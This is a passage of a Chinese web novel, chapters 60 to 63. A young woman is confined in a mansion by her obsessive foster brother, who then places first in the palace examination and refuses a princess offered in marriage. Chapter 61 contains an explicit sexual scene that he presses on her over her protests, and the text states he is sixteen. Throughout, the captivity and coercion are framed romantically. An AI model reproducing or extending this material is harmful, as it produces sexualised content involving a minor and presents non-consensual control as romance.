刹那间,姜芸薇想到了很多事情。 她想起了季母弥留之际,紧握着她的手,声声嘱托的模样,想起了她和季珣多年来相依为命的点滴,想起她数次遭人欺凌时,是季珣出手护她,救她。 姜芸薇指尖颤抖,她蓦地收力,下一瞬,一记响亮的耳光却是狠狠落在自己的脸上,她白皙的脸颊上霎时浮现出一道清晰的掌印。 季珣瞳孔骤缩,他几乎是踉跄着扑过去,一把攥住她的手,眸中满是慌乱之色,就连指尖都在发颤,“阿姐,你为何要这样?你心中不痛快,打我便好了,为何要伤害自己?” 姜芸薇眼泪簌簌滚落,她哽咽道:“阿珣,是姐姐没教好你,才会让你变成现在这个样子,都是我的错……” 季珣心间骤然被一阵难言的隐痛击中,心底又慌又乱,他蓦地将她紧紧抱住,头深深埋进她的颈窝。 他的眼眶也泛起了湿意,眸中水汽氤氲,他贴着她的耳畔,卑微地,颤抖地,在她耳边呢喃,“阿姐,对不起,都是我的错,是我让你失望了,你要打我骂我都好,只求你别伤害自己,我会改,我会变成阿姐喜欢的样子,求求你,别离开我。” 第60章 第60章 姜姑娘,你可需要我帮你离开…… 到了夜里, 姜芸薇沐浴之时,故意磨蹭了许久,一直到浴桶之中的水都凉透了, 这才不得不慢吞吞起身, 借着窗外微弱稀薄的月光,她蹑手蹑脚爬上了床榻。 床帷中一片漆黑,四下里静默无声, 她悄悄松了口气, 心道季珣应该已经睡着了。 不料,她才刚躺在被褥上, 身侧倏然伸出了一只手,稍稍一用力, 便将她整个人搂入了怀中。 姜芸薇的背脊被迫贴向季珣宽阔硬朗的胸膛, 两人的身体紧贴得严丝合缝。 幸好帐内昏暗一片, 看不清楚彼此脸上的神情, 姜芸薇白皙的面上早已红霞遍布, 滚烫的厉害,就连耳根都红透了,一颗心擂鼓似的,在胸腔里砰砰跳个不停。 春寒料峭,季珣身上却滚烫如火,烫得惊人,那热度沿着相贴的肌肤蔓延到她的身上, 没一会儿,她身上便出了一层细细密密的汗珠,身上黏腻腻的,分外难受。 姜芸薇只觉浑身都不自在, 下意识便要挣开他的怀抱,然而白日里的情景却在此时猝不及防浮现脑海。 两人相伴数载,这还是姜芸薇头一遭瞧见季珣落泪,少年早慧而性情内敛,喜怒不形于色,有时候,就连她这个朝夕相处的姐姐,都摸不清他心中到底在想些什么。 可今日,少年却红着眼眶,声音哽咽,反复哀求她不要离开,他滚烫的泪水浸湿了姜芸薇的衣襟,也搅乱了她的心,令她方寸大乱,手足无措。 一直到现在,姜芸薇都不知晓该如何面对他。 姜芸薇在心中默默叹了口气,身子僵硬地依偎在他的怀中,一动不动。 两人俱是缄默不语,一时间,唯有彼此错落的呼吸声,在帐内缓缓流淌。 “阿姐,你的脸还疼吗?”一双手蓦地覆上她的脸颊,他的动作极为轻柔,似乎生怕弄疼了她,就连嗓音,亦是轻飘飘的,宛若风一吹就要散了。 掌心擦过肌肤,像是被一片羽毛轻轻搔过,泛起一丝细微的痒意,姜芸薇下意识摇头,忽又想起帐内漆黑一片,他瞧不见,这才低低应了声:“不疼了。” 白天里,季珣早已经亲手替她上了药,如今已经不怎么疼了。 季珣再次开口,他的尾音带着一丝不易察觉的喑哑,低声恳求道:“阿姐,往后莫要再伤害自己了。” 姜芸薇抿唇不语,良久后,她才无奈一叹,“阿珣,放我离开吧。” 此言一出,身后的人呼吸陡然一重,屋内再次陷入了一片诡异的寂静之中。 季珣心口霎时泛起一阵钝痛,像是被人狠狠打了一闷棍,疼痛从四肢百骸一点点蔓延开来,一时间,竟然令他有些难以呼吸。 这一刻,他竟有些怨怼姜芸薇。 为何她温软的唇瓣中,却总能吐出这般残忍无情的话语,不管他如何软磨硬泡,死缠烂打,她就是铁了心要离开他的身边。 季珣心中怒火中烧,一股从未有过的患得患失之感笼罩了他,令他无所适从,心痛如绞。 他不想让阿姐恨他! 更不想让阿姐离开他的身边。 “阿姐,我答应你,你可以离开府邸。”季珣温热的呼吸拂在她的耳畔,顿了顿,他的指腹轻轻摩挲着她雪白的后颈,一字一顿,“但是想要离开我身边,绝无可能。” “好。”姜芸薇应声,她深知此事不能够操之过急,如今阿珣肯让步,就是一个良好的开端,她相信总有一 日,阿珣能够彻底想通,放她离开。 翌日清晨,姜芸薇醒过来时,季珣已经不在身旁了。 春桃和碧荷两个丫鬟候在寝屋外,一听到动静便立马走了进来。 “夫人,你醒了,奴婢伺候你洗漱。” 两个小丫鬟手中端着铜盆,拿着巾帕走进屋内。 姜芸薇不习惯别人贴身伺候,她蹙了蹙眉,“我不用伺候,你们将东西放下就好了。” 闻言,两个小丫鬟对视一眼,脸上瞬间溢满了惊慌之色,那个叫碧荷的小丫鬟惶然道:“夫人,可是我们有哪里做的不好?” 见状,姜芸薇不自觉放柔了语气,生怕吓到她们,“没有,只是我不习惯别人伺候。” 碧荷战战兢兢,“夫人,公子临走前,吩咐我们要照顾好你。” 姜芸薇也不想为难两个小丫鬟,她轻叹一声,不再多言,任由两个小丫鬟近身伺候。 待到洗漱过后,两个小丫鬟引着姜芸薇来到正厅用早膳,落座后,看着桌面上摆好的丰盛早膳,她却有些食不下咽。 方文远心细如发,瞧出她胃口不佳,便斟酌着开口问道:“夫人,可是今日的早膳不合胃口?若不合意,小人让厨房另做一份。” “不必麻烦。”姜芸薇轻轻摇了摇头。 她喉咙里像是堵着一团棉花,闷得发慌,无论她走到何处,身旁都跟着两个垂手敛目的小丫鬟,如影随形,这偌大的宅院,于她而言,就恍若一个华美的囚笼,困住了她的自由。 草草用完半碗米粥,姜芸薇起身欲出府透透气,碧荷和春桃两个丫鬟依然紧随其后,寸步不离的跟着她。 姜芸薇知晓多说也是枉然,毕竟她们只是丫鬟,听从的都是季珣的吩咐,自己又何必为难她们呢?便索性缄默不语。 直到出了宅院,姜芸薇才知晓此处是什么地方,竟然是东市的崇仁坊,长街两侧飞檐翘角,亭台楼阁错落有致,此处的宅院靠近皇城,价格高昂,寸土寸金。 姜芸薇心中有一瞬间的惊讶,但转念想到,他日季珣若是真能金榜题名,位极人臣,也确实得置办一处像样的宅院,此处确实是个好居所。 崇仁坊大街上车马辚辚,街道两旁店肆林立,往来行人络绎不绝,端的是一派喧阗盛景。 姜芸薇漫无目的地在街上缓步而行,身侧的碧荷性情活泼,许是鲜少瞧见这般热闹景象,一双眼睛左顾右盼,脸上满是雀跃激动之色。 姜芸薇却是意兴阑珊,她刚走了两步,目光倏然凝住,只见迎面走来一道熟悉的人影。 男子一身湛蓝色长袍,眉目清隽,气质温润,竟是许久未见的林遇。 明明不过几个月未见,姜芸薇一时间,竟生出几分恍如隔世之感。 自从上次元宵佳节失约以后,两人就再也未曾见过面了,她曾经无数次想要找林遇解释清楚那日失约的缘由,只是却连他的住所在何处都不知晓,久而久之,便渐渐放下了此事,如今却没想到,会在此处不期而遇。 “姜姑娘?”林遇瞧见她,双眸倏尔一亮,他停下脚步,“听闻你这些时日失踪不见,怎会在此处出现?” 闻言,姜芸薇不禁有些惊讶,没想到她失踪的事情,竟然都传到了林遇耳中,她忍不住开口询问道:“林公子如何得知?” 林遇垂眸,敛去眸中复杂神情:“前些日子,乃是姜姑娘大婚之日,此事我亦有所耳闻。” 说到这,心底不禁涌起几分酸涩怅然之感,那日,他在家中踌躇许久,终是备了一份薄礼,想着最后再远远瞧她一眼,彻底放下心底那点年少时悄然萌生的悸动,衷心祝愿她觅得良人,一生顺遂,却没有料到,传来的竟是新娘子在半途中失踪的消息。 “原来如此。”姜芸薇轻轻颔首,而后便垂眸不语。 当初,她曾经设想过无数次,待来日遇到林遇后,定要好好解释那日失约的缘由,然而真到了此刻,那些话却尽数堵在喉头,一个字都吐不出来,况且,就算说了也毫无意义,有些事,错过了便是错过了,他们终究不可能再回到从前了。 瞧见姜芸薇竟站在熙熙攘攘的大街上,和一个年轻俊美的男子闲话叙旧,碧荷和春桃两个丫鬟霎时慌了神,站在不远处急得直跺脚,恨不得立马冲上前去将人给拉走,却又生怕惹了姜芸薇生气,一时不知道该如何是好。 林遇瞥了一眼跟在她身后的两个丫鬟,压低声音道:“姜姑娘,这些日子,你去了何处,可是遇到了什么麻烦?” 姜芸薇张了张嘴,却是半晌无言。 她总不能告诉林遇,这一切都是季珣所为,那个她一直视之为亲弟的少年,不仅毁了她的婚事,还将她囚在不见天日的深宅中,这样悖逆伦常的荒唐事,她如何能够说得出口? 见她一副欲言又止的模样,林遇眸光微沉,缓缓开口,“姜姑娘,你失踪一事,是不是和季珣有关?” 此言一出,姜芸薇猛地抬头,眸中满是惊愕之色,“你如何知晓?” 瞧见她这般反应,林遇越发确定了心底的猜测,这一切果真是季珣所为。 上元佳节那日,他曾经无意间窥得了季珣对姜芸薇偏执的占有欲,以季珣的性子,又岂会甘心看着姜芸薇嫁给旁人呢? 姜芸薇无故失踪,林遇既然知晓了此事,自然不会袖手旁观,他第一个怀疑的对象便是季珣,这些日子,他暗中查探许久,总算寻到些蛛丝马迹。数月前,季珣曾在此处买下一栋宅院,他心中揣测,姜芸薇说不定便被囚在这深宅高墙之中,便时常来附近徘徊查探,没想到,今日果真遇见了她。 只是这些前因后果,他自然不会告知姜芸薇。 “我也只是猜测而已。”林遇目光在姜芸薇脸上短暂停留,随即若无其事地移开视线,他嗓音温软柔和,“姜姑娘,你可需要我帮你离开?” 闻言,姜芸薇心口猛地一跳。《 》 60-70 第61章 第 61 章 阿姐,让我尝一尝,好不…… 沉默许久后, 姜芸薇摇了摇头,“多谢林公子好意,只是我暂时还不能…离开。” 这些日子, 她早已经彻底看透, 季珣温雅如玉的皮囊之下,裹着怎样一颗狠戾偏执的心。 殿试在即,倘若在这个节骨眼下, 林遇助她逃离, 被季珣知晓,定然又要徒生出许多事端, 她不能因为自己的原因,影响到林遇的仕途, 更不希望在殿试之前, 横生出什么其他的枝节变数。 林遇也并不强求, 瞧见她安然无恙, 连日来悬着的心便落了地, 他缓声道:“倘若姜姑娘日后有什么难处,可以去崇仁坊的如意斋,给掌柜带话,我们好歹相识一场,我定会襄助姑娘。” 姜芸薇心中感动不已,“多谢林公子。” 两人又客套几句,便互相道别了。 姜芸薇望着他如松柏般笔挺的背影, 心中一时生出几分物是人非之感。 分明才不过一年光景,可那些在青阳镇的日子,竟渺远得如同一场虚幻的旧梦,终归是再也回不去了。 姜芸薇也没了再闲逛的心思, 转身回到了府中。 接下来一整日,她都待在府中做绣活。 到了夜里,她洗漱过后,便早早的躺在床榻上歇息。 不知道睡 了多久,身侧的床榻忽的一沉,熟悉的香气钻入鼻腔。 姜芸薇的眼皮掀了掀,终是抵不过困意,又缓缓阖上了眼…… “阿姐。”少年轻车熟路的将她揽入怀中,他的身上冰凉凉的,贴在身上如寒玉一般,姜芸薇眼皮猛地一颤,睡意霎时消了一大半,她霍然睁开眼睛,闻到一股子浓郁的酒气。 姜芸薇迷迷糊糊的问,“你喝酒了?” “阿姐。”季珣没应声,而是低低唤着她,微凉的气息拂过她的耳廓。 姜芸薇打了个激灵。 季珣冰凉的手指,沿着她伶仃细弱的后颈一路描摹,滑过她光洁的脊背、掠过她纤细的腰肢、指尖所过之处,似乎燃起了星星点点看不见的火苗,烧得姜芸薇浑身战栗,就连呼吸都全然乱了章法。 “阿珣。” 姜芸薇颤着嗓音唤他的名字,语气中带着丝不易察觉的哀求。 季珣冷不丁开口,“阿姐,你今日见了林遇?” 此言一出,姜芸薇眼底的迷蒙霎时褪去,她面上露出一丝慌乱之色,手指紧攥着身下被衾,“不过只是偶然遇上,便闲聊了几句。” 季珣低低笑了一声,“是么?” 他的嗓音很轻,却字字都像是淬着冰。 姜芸薇身子不由自主地轻颤了一下,一颗心突突跳得厉害,分明只是寻常的偶遇,然而季珣这般反应,倒像是她做了什么见不得人的苟且之事一般。 她心中不禁生出几分恼意,“自然。” 季珣的指尖轻轻抚上她的脸颊,嗓音轻的像是耳语,吐息灼热,“阿姐,还没告诉你呢,林遇他上次会试考了第二名,他生的又那般俊俏,依我看,他这次殿试,定然拿下探花之名,阿姐还当真是好眼光。” 听着他阴阳怪气的腔调,语气中藏不住的酸意,姜芸薇心中那点儿不悦顷刻间烟消云散,只觉得无奈又好笑,季珣都多大人了,怎么却还像个孩子似的? 季珣似乎醉的不轻,就连呼吸间都带着酒气,姜芸薇索性不再理会他。 见状,他倏地凑上来,不由分说地啄吻她的唇,他湿.热滑.软的舌尖像是一尾灵活的游鱼,径直钻入她的舌腔,勾缠她的丁香小舌,肆意吮吸、勾缠,似是要将她身上的气息都吞噬殆尽,他吻得又急又深,唇齿间溢出的渍渍水声,声声入耳。 两人唇齿交缠在一起,他身上那股浓烈的酒香糅杂着清冽的雪梅香,霸道的钻进她的口鼻,丝丝缕缕缠上肺腑。 姜芸薇头脑晕晕乎乎的,感觉自己也有些醉了。 她面红耳赤,胸腔不住起伏,几乎快要喘不上气。 季珣指尖缓悠悠地、一点点往下探。 擦过衣料时,发出窸窸窣窣的细响。 屋内静谧无声,夜色中,安静得似乎能够听到彼此的心跳声。 姜芸薇浑身一僵,不自觉弓起身子,口中发出一声短促的惊叫,“阿珣,别…别碰…那处… 瞧着姜芸薇如同受惊的兔子般,季珣心中恶念陡生。 他轻咬着她的耳珠,尾音勾着几分恶劣的笑意,手指甚至故意揉.捏.按压了一下,“阿姐,为何不行呢?” 黑暗中,伸手不见五指,感官便越发清晰。 姜芸薇霎时如同一尾被丢上岸,濒临死亡的鱼般,身子震颤,脊背紧绷成一张弓,大口大口地喘息着。 季珣遒劲有力的臂膀紧揽着她的纤腰,鼓噪起骇人的青色经脉。 阿姐此时的模样,定然是极美的。 像是熟透的蜜桃,指尖稍稍用力,那甜腻的汁水便顺着指缝潺潺淌出。 可惜灯烛已熄,屋内一片漆黑,阿姐这般保守害羞,倘若屋内点灯,定然会吓着她。 季珣在脑海中想象她此刻的模样,喉间突然有些发痒。 “阿姐,让我尝一尝,好不好?” 季珣嗓音低哑,尾音裹着几分若有似无的诱哄意味,像是一片羽毛轻轻搔在心尖上。 姜芸薇愣了一下,虽不明白他是何意,心底却瞬间警觉起来。 少年肩背微沉,身子一径往下滑去。 直到被褥下传来湿·濡的触感,姜芸薇这才似乎反应过来什么,她耳畔一阵嗡鸣,浑身血液似乎一瞬间冲上了头顶,慌忙伸手去拽他,声音里带着明显的慌乱与羞赧:“阿珣,别闹!” 可是季珣却置之不理,宛如一条美丽而又有着剧毒的蛇,冷然绞紧,愈缠愈深。 一股陌生到极致的酥麻感,如同无声漫涨的潮水,席卷而来,击溃了她所有的理智与防线,她只能无助地随着这阵浪潮,沉沉浮浮,想要挣扎而不得。 纱帐层层垂落,隔绝了窗外的月色,寂静的屋内,唯有猫儿似的嘤吟声,断断续续的、在寂静的夜里缓缓流淌。 …… 姜芸薇躺在榻上,檀口微张,浑身都被热汗蒸透了,面颊上透着发烧般的红晕,眼里坠着泪珠,秀美动人。 季珣爱怜地欺身去亲吻她的唇。 姜芸薇偏头躲开,眉头紧蹙,眼底的嫌弃几乎要溢出来,“别碰我。” 季珣愉悦的勾了勾唇,语气带着几分戏谑,“阿姐,你怎么还嫌弃,自己身上的东西?” 姜芸薇扭过身子,背对着他,不说话。 季珣这才后知后觉反应过来,这次当真是玩得过了火,将人给惹恼了,他心中顿时慌了,从身后小心翼翼地环住姜芸薇的腰,将人紧紧揽在怀里,软言软语的哄着,“阿姐,对不起,方才是我犯浑,你别生我的气。” 姜芸薇睫毛簌簌颤抖着,她任由少年紧抱着他,始终闭目不语。 方才那般狎昵行径,委实是太过荒唐,阿珣不过才十六岁,如何就懂得这么多?他究竟是从何处学来的?莫不是跟着什么不三不四的浮浪子弟学坏了? 她听闻,那些大户人家的公子哥,十五岁家中便会安排晓事的通房丫鬟,可他们又不是什么富贵人家,季珣从何处知晓这些? 季珣的吻轻柔得像是一片羽毛,落在她雪白柔腻的后颈上,他鼻尖轻轻蹭着她颈间的软肉,声音柔得像一汪春水,“阿姐,我以后再也不敢了,你别恼我。” 两人挨得这般近,姜芸薇再次感受到了那物抵着她,尺量惊人。 她脸颊一红,闭眼小声道:“我要睡了。” “好。”季珣眸底闪过一抹幽暗的光,将她揽得更紧了些,他将五指挤入她的指缝,十指死死交扣,力道紧得像是要将她嵌入骨血之中,“睡吧。” 季珣感受着心跳在胸腔剧烈沸腾,周身滚烫如火。 他在脑海中不断回想着方才的滋味,那般温软,甘甜,诱人,令他有些食髓知味,无法自拔。 他极喜欢看阿姐动情的模样,喜欢听她唇间溢出的娇媚声线,喜欢看她被情.潮裹挟,沉浸在欢愉中时的模样,那般娇美动人,唯有他才能够窥见。 …… 殿试之日,天公不作美,竟下起了淅淅沥沥的小雨,青石地砖上湿漉漉的,被雨水浸得发亮,季珣立在雨幕中,着一身青衣,濛濛雨雾如轻纱般笼着他,越发显得少年神清骨秀,如神仙中人。 他正要踏上马车,身后忽然传来一阵脚步声。 季珣脚步一顿,回眸望去。 只见姜芸薇立在屋檐下,她穿着一身翠色的襦裙,裙摆在风中轻轻拂动,宛如雨中亭亭绽放的一株新荷,雨雾打湿了她的鬓发,几缕青丝贴在脸侧,晶莹的水珠沿着她白皙的面庞滑落,她的嗓音平和,似乎不带什么情绪,“雨虽不大,还是带把伞吧,说不定等会就下大了。” 季珣目光定定地望着她,看着她秀美柔婉的模样,他的心突然砰砰直跳起来,周遭的雨幕似乎刹那间都变成了模糊的背景,天地间只剩下她这一抹鲜活的翠色。 静默须臾后,他伸手接过伞,指尖不经意间擦过她的指腹,触感温热。 他反手握住她的柔夷,“阿姐,等我回来。” 姜芸薇睫羽颤了颤,却没挣开,她点了点头,轻轻“嗯”了一声。 季珣唇角不受控制地向上弯起,脸上倏尔露出一抹笑容,一双眸子亮得惊人,像是落了漫天的星子。 他想,阿姐终究还是关心他的。 “公子,该动身了。” 车夫在一旁低声催促。 他点了点头,敛去面上笑意,攥紧了手中的油纸伞,转身掀帘上了马车。 他掀开车帘,雨雾氤氲成一片朦胧的纱,廊檐下那抹翠色依旧鲜明,正隔着漫天雨丝,静静地望着他。 一股暖意蓦地从心底涌上来,漫过四肢百骸,季珣突然觉得,这淅淅沥沥的雨水声,竟也变得悦耳动听起来。 第62章 第62章 阿姐,我就知道,你一定会来…… 殿试在奉天殿内设有考场, 参加此次殿试的共有数百名考生。 第一场考的是策论。 季珣一大早便来到了宫门外等候,门口早已经乌泱泱的站满了一群考生。 得知季珣乃是会试第一名会元,许多人纷纷上前同他寒暄打招呼。 季珣立在人群中央, 微微颔首, 神色平静无波。 直到围拢的人群渐渐散去,岑墨这才快步上前,将季珣拉至角落僻静处, “季兄, 这段时日,你可有你阿姐的消息?” 才半月未见, 岑墨面色便憔悴了不少,眼窝凹陷, 双眸灰败, 看上去像是多日没有睡好。 季珣眉眼冷凝, 摇了摇头, “没有。” 闻言, 岑墨脸上顿时露出失望的神色,他松开紧攥着季珣衣襟的手,失魂落魄的转过身,连脚步都有些虚浮。 他如同丢了魂般,刚转过身走了两步,竟直挺挺地撞上一人,脚下更是一个不慎踩在了那人的鞋面上。 “抱歉。”岑墨忙不迭拱手道歉。 一抬头, 瞧见面前之人,霎时僵在原地。 眼前之人他分外熟悉,正是那位出身琅琊王氏的公子王遇之,他一身湛蓝色锦袍, 矜贵逼人,而他身侧跟着的那个黑衣男子,俨然正是从前在客栈时经常欺辱他的那人。 “哟,这不是姓岑的穷小子吗,没想到你居然也有资格来参加殿试。”黑衣男子目光在岑墨身上转了一圈,尖声嘲讽道:“王公子的鞋履可是用云纹锦制成的,你如今踩脏了,赔得起吗?” 岑墨垂头看了一眼王遇之鞋尖上醒目的黑印,脸色唰的一下白了,忙道:“对不住,王公子,我不是有意的。” 黑衣男子一脸盛气凌人,“道歉就有用了吗?依我看,不如你就在此处,将王公子脚上的脏污给舔干净吧。”话毕,仰头哈哈大笑起来。 王遇之负手而立,面上神情平静无波,俨然一副默许的姿态。 此处的动静霎时吸引了众学子的注意力,这些目光中,有同情、但更多的却是一副看好戏的神态,有人想出言解围,却慑于王遇之的家世,不敢贸然上前,以免祸及自身。 琅琊王氏乃是百年世家,当朝贵妃娘娘就是出身琅琊王氏,如今正得盛宠,在京城,自然是无人敢和琅琊王氏子弟作对。 岑墨脸色煞白,手指紧攥着衣襟。 这些世家子弟以折辱人为乐,就因为他是寒门子弟,便要遭受他们这样的欺辱吗?他心中屈辱、愤恨、不甘、却又不能发作。 殿试在即,此刻自己只能忍耐!况且惹恼了这帮世家子弟,恐怕他连性命都要丢了,又遑论是参加殿试呢? 将这一幕尽收眼底,季珣眸中露出一丝轻蔑。 阿姐,这就是你要嫁的人吗?他这般窝囊,如何能够配得上你?将来倘若出了什么事情,又如何能够护得住你? 正在这时,一个鬓发皆白的老太监缓步走出,他目光扫过宫门前众人,尖细的嗓音响起,“诸位考生,且随咱家入内吧。” 见状,黑衣男子轻哼一声,不情不愿地往前走去。 岑墨松了口气,后背已是惊出了一身的冷汗。 许多考生都是头一遭踏入宫闱,抬眼望去,只见殿阁巍峨连绵,雕梁画栋,金碧辉煌,一派耀目盛景,一时皆被震撼住,忍不住心驰神往,若是此番殿试上榜,将来便能够出入宫闱,位列朝堂,这般念想一起,顿时心潮澎湃起来。 * 雨势渐歇,到了午后时分,云层渐渐散开,金灿灿的日光倾泻而下,遍洒大地。 后花园的秋千架上,姜芸薇静坐其上,翻看着手中的书册,暖融融的金光在她周身流淌,女郎面容秀美柔和,整个人莹然生光。 瞧着她安静的模样,碧荷忍不住低声问,“夫人,你不担心公子的殿试吗?” 姜芸薇头也不抬,语调平静无波,“他是个有能耐的,又何须我忧心呢?” 碧荷笑盈盈道:“夫人,依我看,公子此次定能一举夺魁,拿下状元名头,往后呀,夫人就是状元夫人了。” 闻言,姜芸薇心中一时五味杂陈。 这府中人人皆唤她一声“夫人”,都将她当成季珣的妻子看待,如今已经无人知晓她和季珣真正的关系了,就算他们能够从平日里季珣对她的称呼之中察觉出几分端倪,却也不敢妄议主家是非。 姜芸薇突然有些怀念在柳溪村的日子,虽然清贫,但至少简单自在,不像此处,高门宅院,却犹如笼中鸟雀般,一举一动都被人监视着,失去了自由。 姜芸薇心中想着事情,神色恍惚,手中的书册许久都没有再翻动。 * 碧荷那日随口一言,竟一语成真。 金銮殿殿试放榜之日,季珣果真一举夺魁,摘得状元桂冠;而林遇,也恰如季珣先前所言,以一甲第三的名次,高中探花。 两人皆是相貌俊朗,又都出自云隐书院,一时之间,在京城传为佳话,就连云隐书院,也瞬间名扬天下,成为无数学子心中向往的求学圣地。 夜里,季珣一如既往,抱着姜芸薇入睡。 这段时日,他果真收敛了许多,没有再对她做那些过分的事情。 季珣大掌揽着她纤细的腰肢,在她耳畔哑声道:“阿姐,我如今已经考上了状元,你不高兴吗?” 姜芸薇指尖蜷缩了一下,嗓音很轻,“我自然高兴,母亲若在天有灵,也定然会替你感到高兴。” 季珣又追问,“阿姐,明日乃是状元游街之日,我已经在会仙楼订好了雅间,到时候你会来看的,对吗?” 姜芸薇纤长的睫毛轻轻颤动了一下,她闭着眼睛,并不回答,像是已经睡着了。 望着她恬静灵秀的面容,季珣揽着她的手臂收得更紧了些,也没有再开口。 他知晓,阿姐如今只是不知晓该如何面对他。 没关系,反正他有的是时日,总有一日,阿姐会愿意接纳他。 他愿意等。 到了状元游街这日,街上早已经被百姓围得水泄不通,大家都想一睹状元郎的风采。 “来了来了。”锣鼓声由远及近响起,众人欢呼出声,齐齐踮起脚尖,抻长了脖子往街上张望。 “前面那位就是状元郎吗?生得好俊俏啊,听说他出身乡野,乃是个寒门子弟。” “还是难得一遇的三元及第呢,当真是少年俊才啊,前途不可限量。” “不知道这样俊秀的郎君,可曾娶妻?” “就算没娶妻也轮不到你女儿。”旁边的男子笑道:“那可是三元及第的状元郎啊,就算是公主也娶得。” “后面那位探花郎也生得好,这一届的才子,竟是个个都生得这般好样貌,真是难得!” 围观的百姓们七嘴八舌地议论开来。 只见今科状元郎,穿一身绯色的衣袍,腰束玉带,乌帽边斜簪一朵艳红牡丹,越发衬得面如冠玉,风姿卓然,他身骑一匹枣红色高头大马,金鞍玉辔,缓行于长街正中,引得两旁欢声雷动。 沿街楼阁的轩窗大开,许多女子倚着窗栏,扬起纤纤玉手,将早备好的鲜花朝着长街正中抛洒下去,粉白、嫣红、鹅黄、浅紫……五颜六色的花瓣簌簌飘落,沾了状元郎的袍角,落在他的肩头,惹得周围哄笑声一片。 会仙楼二楼雅间,姜芸薇穿着一身浅绿色襦裙,正凭栏而立,她望着长街正中那抹灼眼的绯色,眸中情不自禁浮起一层濛濛泪光。 三元及第,金榜题名,阿珣能够有今日,若母亲泉下有知,也定会满心慰藉。 当日在季母病榻前,她答应过的事情,总算都做到了。 她作为姐姐的责任,如今也已经全都尽到了。 姜芸薇想,从今往后,她再也不欠季珣什么了。 姜芸薇正欲转身离去,恰在此 时,长街上的季珣似有所感应般,蓦地抬起头。 目光越过攒动的人潮,视线不偏不倚的落在她的身上。 他眼里漾着流溢的柔光,亮得惊人,像是漫天星子倒映其中,又像是藏着缱绻炽烈的情意,周遭的欢呼与喧嚣似乎刹那间都成了模糊的虚影,天地间,唯有他们二人遥遥相望的身影。 四目相对的那一刹那,姜芸薇脚步像是被钉在了地上,无法动弹,一颗心在胸腔怦怦直跳,像是要从嗓子眼里蹦出来。 季珣唇角倏地漾起一抹笑,恍若春风拂过湖面,泛起粼粼的波光。 他唇瓣轻轻开合,无声地吐出几个字。 姜芸薇如同被火烫了般,几乎是有些仓皇的转过身,避开那道灼热的视线。 她看懂了季珣方才的唇语。 他说的是—— 阿姐,我就知道,你一定会来的。 “方才状元郎好像笑了,你看到没有?” “我也看到了,他好像往会仙楼二楼看了,也不知道是在看谁?” 众人又叽叽喳喳的议论开来。 岑墨此次殿试亦是榜上有名,乃是三甲第四名,得赐同进士出身。 他站在人群中,亦是满脸喜色,寒窗十载,他总算是等到了今日,往后,那些世家子弟再也不敢肆意欺凌他了。 正沉浸在喜悦当中,眼角余光却慕地瞥见一道熟悉的身影,似乎正是失踪多日的姜芸薇。 岑墨脸色一变,连忙拨开喧闹的人群,朝着那道身影消失的方向疾步追了过去。 然而,一直追到了长街尽头,都再也瞧不见那道魂牵梦萦的身影。 岑墨失魂落魄的站在原地。 他实在是想不明白,既然她安然无恙,为何却不来见他? 第63章 第63章 依本公主看,也不过尔尔…… 待到状元游街结束后, 岑墨迫不及待地拽住季珣的手腕,“季兄,方才我瞧见芸娘了。” “芸娘……” 这两个字在唇齿间碾过, 季珣面色骤然冷了下来, 如同覆了一层寒霜。两人还未正式拜堂成亲,岑墨有何资格唤他的阿姐芸娘? “阿姐失踪多日,又岂会出现在此处, 定然是你看错了。” 季珣面容隐在阴影处, 让人窥不清他面上神情,却无端给人一种幽冷诡谲之感, 似乎正被什么毒蛇盯上。 岑墨满心沉浸在方才那惊鸿一瞥上,并未注意到季珣冷戾的神情, 他急切道:“不可能的, 我定然不会看错的。” “若是阿姐就在此处, 为何却不来找你呢?”季珣唇角微勾, 面上露出几分莫测笑意。 “这……”岑墨被问住, 一时哑口无言。 他的心中不禁涌起几分慌乱感,是啊,既然姜芸薇平安无恙,为何却避而不见,难不成她遭遇了什么人的胁迫? 季珣瞧见他这副模样,心下便觉厌烦,他语气淡淡道:“我还有事, 恕不奉陪了。” 话毕,不待岑墨回应,便转身离开了。 暮春三月,花红柳绿, 桃李争艳,燕语莺啼,一派生机盎然之景,御花园内设琼林宴,宴请今科进士,来赴宴的皆是皇亲贵胄和新科进士,分外热闹。 季珣乃是今科状元,自然巴结讨好者无数,宴席还未开始,他的周遭便围满了人。 待到午后时分,皇上才姗姗来迟。 众人连忙齐齐跪地行礼,皇上大手一挥,笑道:“诸位不必多礼,今日宴席上大家只管尽兴,不必拘束。” 季珣站起身,目光落在晋文帝身上。 皇上壮年之时,也曾经是一代明君,宵衣旰食、励精图治,只是到了暮年之时,疾病缠身,便将心思都放到了求丹问药之事上,在国政上日渐荒废,不过好在如今国泰民安,倒也不曾动摇国家根基。 奈何太子亦是昏庸无能,难堪大任,日日只知流连美色,而三皇子文韬武略,母妃又出身于琅琊王氏,门第显赫尊贵,因此,三皇子在朝堂中拥护者云集,甚至早已稳压太子党一头。 而晋文帝目光同样扫过宴席上的诸位进士,最终视线落在季珣身上,少年眉眼清俊,身形挺拔,如琼枝玉树般,在众人之中鹤立鸡群。 当日殿试之时,晋文帝早就已经见过这位状元郎,如今再次瞧见,依旧为他的容貌气度所惊艳,这个少年乃是难得一遇的三元及第,不仅才华横溢,又气度不凡,晋文帝越看越喜欢,他早就有意为季珣和他最宠爱的公主秦婉赐婚。 待到酒过三巡后,晋文帝笑呵呵开口道:“状元郎,朕看你不仅文采斐然,又姿容无双,朕有意将四女明珠公主秦婉许配给你,你意下如何啊?” 此言一出,众人顿时面露艳羡之色,这样的好事,居然落到了季珣的头上。 季珣虽然是个状元,然而他出身寒门,背后没有靠山,不知猴年马月才能有出头之日,然而尚公主就不同了,秦婉乃是皇上最宠爱的公主,又是三皇子秦煜一母同胞的亲妹妹,倘若当真能够尚公主,往后秦煜荣登大宝,季珣便是皇上的妹夫了,可以说是一步登天了。 季珣心中早有预料,面上不见丝毫波澜,他跪地平静道:“承蒙皇上厚爱,只是草民早已有心仪女子,并且立下誓言此生非她不娶,还望陛下恕罪。” 前世,皇上想必也动过赐婚的念头,只是还未宣之于口,此事便被秦煜给阻拦了,前世,他并未投靠三皇子秦煜,秦煜疼爱这个妹妹,私底下派人打听过他的名声,得知他清俊皮囊外表下,藏着一颗冷厉无情的心,便阻止了这一场赐婚。 而这辈子,季珣早已暗中投靠三皇子,想必三皇子也有意促成他和妹妹秦婉的婚事,便并未阻拦。 此言一出,众人面上皆露出错愕之色。 这季珣莫不是疯了不成? 皇上赐婚,他竟然敢抗旨不遵?这可是要砍头灭九族的大罪! 晋文帝面色骤然阴沉下来,“状元郎,你敢抗旨不遵?” 